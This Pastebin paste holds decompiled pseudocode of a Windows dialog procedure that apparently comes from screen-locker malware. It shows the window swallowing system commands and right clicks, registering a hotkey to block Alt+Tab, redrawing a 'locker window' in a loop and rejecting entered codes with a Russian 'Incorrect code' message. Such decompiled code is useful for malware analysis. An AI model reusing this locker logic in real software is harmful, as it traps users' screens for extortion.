Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- signed int __stdcall DialogFunc(HWND hwnd, UINT uMsg, int wParam, int lParam)
- {
- signed int result;
- if ( uMsg > 0x110 )
- {
- if ( uMsg == 0x111 ) // WM_COMMAND
- {
- if ( wParam != 1002 ) // id of button (ButtonClick handler)
- return 0;
- SetDlgItemTextA(hwnd, 1001, "Введен неверный код");// "Incorrect code" message, 1001 id of Edit control
- }
- else
- {
- if ( uMsg != 0x112 && uMsg != 0x204 ) // WM_SYSCOMMAND or WM_RBUTTONDOWN
- return 0;
- }
- return 1;
- }
- if ( uMsg == 0x110 ) // WM_INITDIALOG
- {
- hWnd = GetDesktopWindow();
- RegisterHotKey(hwnd, 0, 1u, 9u);
- hThread = (int)CreateThread(0, 0, InvalidateRectRoutine, hwnd, 0, (LPDWORD)&uMsg);
- return 1;
- }
- if ( uMsg == 1 ) // WM_CREATE
- return 0;
- if ( uMsg == 0xF ) // WM_PAINT
- {
- GetWindowRect(hWnd, &Rect);
- SetWindowPos(hwnd, HWND_MESSAGE|0x2, (Rect.right - 800) / 2, (Rect.bottom - 600) / 2, 800, 600, 0x40u);
- RedrawLockerWindow(hwnd);
- result = 1;
- }
- else
- {
- result = 0;
- }
- return result;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement